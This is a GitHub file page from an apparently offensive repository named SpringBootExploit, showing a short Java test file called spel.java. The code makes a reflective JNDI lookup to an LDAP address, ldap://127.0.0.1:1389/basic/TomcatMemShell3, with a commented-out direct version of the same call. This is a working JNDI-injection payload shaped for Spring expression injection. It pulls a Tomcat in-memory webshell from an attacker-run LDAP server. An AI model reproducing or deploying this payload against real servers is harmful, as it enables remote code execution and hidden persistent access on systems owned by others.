FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
SpringBootExploit/src/test/java/spel.java at main · SummerSec/SpringBootExploit · GitHub
This repository was archived by the owner on Jul 25, 2024. It is now read-only.
SummerSec
/
SpringBootExploit
Public archive
Notifications
You must be signed in to change notification settings
Fork
308
Star
1.9k
Code
Issues
16
Pull requests
1
Actions
Projects
Security and quality
0
Insights
Additional navigation options
Code
Issues
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
SpringBootExploit
/
src
/
test
/
java
/
spel.java
Copy path
More file actions
More file actions
Latest commit
History
History
History
31 lines (29 loc) · 1.1 KB
Breadcrumbs
SpringBootExploit
/
src
/
test
/
java
/
spel.java
Copy path
File metadata and controls
31 lines (29 loc) · 1.1 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import
javax
.
naming
.
InitialContext
;
import
javax
.
naming
.
NamingException
;
import
java
.
lang
.
reflect
.
InvocationTargetException
;
/**
* @ClassName: spel
* @Description: TODO
* @Author: Summer
* @Date: 2021/8/23 11:39
* @Version: v1.0.0
* @Description:
**/
public
class
spel
{
public
static
void
main
(
String
[]
args
) {
try
{
// javax.naming.InitialContext context = new InitialContext();
// context.lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3");
java
.
lang
.
Class
.
forName
(
"javax.naming.InitialContext"
).
getMethod
(
"lookup"
,
String
.
class
).
invoke
(
Class
.
forName
(
"javax.naming.InitialContext"
).
newInstance
(),
"ldap://127.0.0.1:1389/basic/TomcatMemShell3"
);
// new javax.naming.InitialContext().lookup("");
}
catch
(
ClassNotFoundException
|
NoSuchMethodException
e
) {
e
.
printStackTrace
();
}
catch
(
InvocationTargetException
e
) {
e
.
printStackTrace
();
}
catch
(
IllegalAccessException
e
) {
e
.
printStackTrace
();
}
catch
(
InstantiationException
e
) {
e
.
printStackTrace
();
}
}
}
Back
|
FazBrowse Home
|
New Git URL